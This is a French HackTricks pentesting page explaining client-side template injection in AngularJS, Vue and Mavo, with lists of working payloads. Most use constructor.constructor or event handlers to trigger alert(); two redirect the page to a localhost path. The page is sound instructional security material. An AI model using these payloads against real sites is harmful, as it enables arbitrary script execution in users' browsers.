hacktricks/pentesting-web/client-side-template-injection-csti.md

8.3 KiB

Injection de modèle côté client (CSTI)

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

WhiteIntel

WhiteIntel est un moteur de recherche alimenté par le dark web qui offre des fonctionnalités gratuites pour vérifier si une entreprise ou ses clients ont été compromis par des logiciels malveillants voleurs.

Le but principal de WhiteIntel est de lutter contre les prises de contrôle de compte et les attaques de ransomware résultant de logiciels malveillants volant des informations.

Vous pouvez consulter leur site Web et essayer leur moteur gratuitement sur :

{% embed url="https://whiteintel.io" %}


Résumé

C'est comme une Injection de Modèle Côté Serveur mais côté client. Le SSTI peut vous permettre d'exécuter du code sur le serveur distant, le CSTI pourrait vous permettre d'exécuter du code JavaScript arbitraire dans le navigateur de la victime.

Le test de cette vulnérabilité est très similaire à celui du SSTI, l'interprète attend un modèle et l'exécutera. Par exemple, avec une charge utile comme {{ 7-7 }}, si l'application est vulnérable, vous verrez un 0, et sinon, vous verrez l'original : {{ 7-7 }}

AngularJS

AngularJS est un framework JavaScript largement utilisé qui interagit avec HTML à travers des attributs connus sous le nom de directives, l'une des plus notables étant ng-app. Cette directive permet à AngularJS de traiter le contenu HTML, permettant l'exécution d'expressions JavaScript à l'intérieur de doubles accolades.

Dans les scénarios où une entrée utilisateur est insérée dynamiquement dans le corps HTML balisé avec ng-app, il est possible d'exécuter du code JavaScript arbitraire. Cela peut être réalisé en exploitant la syntaxe d'AngularJS dans l'entrée. Voici des exemples démontrant comment du code JavaScript peut être exécuté :

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Vous pouvez trouver un exemple en ligne très basique de la vulnérabilité dans AngularJS sur http://jsfiddle.net/2zs2yv7o/ et sur Burp Suite Academy

{% hint style="danger" %} Angular 1.6 a supprimé le bac à sable donc à partir de cette version, une charge utile comme {{constructor.constructor('alert(1)')()}} ou <input ng-focus=$event.view.alert('XSS')> devrait fonctionner. {% endhint %}

VueJS

Vous pouvez trouver une implémentation Vue vulnérable sur https://vue-client-side-template-injection-example.azu.now.sh/
Charge utile fonctionnelle: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

Et le code source de l'exemple vulnérable est ici: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

Un très bon article sur CSTI en VUE peut être trouvé dans https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

V3

{{_openBlock.constructor('alert(1)')()}}

Crédit : Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Crédit : Mario Heiderich

Consultez plus de charges utiles VUE sur https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Charge utile :

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Plus de charges utiles dans https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Liste de détection de force brute

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

WhiteIntel

WhiteIntel est un moteur de recherche alimenté par le dark web qui offre des fonctionnalités gratuites pour vérifier si une entreprise ou ses clients ont été compromis par des logiciels malveillants voleurs.

Le but principal de WhiteIntel est de lutter contre les prises de contrôle de compte et les attaques de ransomware résultant de logiciels malveillants volant des informations.

Vous pouvez consulter leur site Web et essayer leur moteur gratuitement sur :

{% embed url="https://whiteintel.io" %}

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :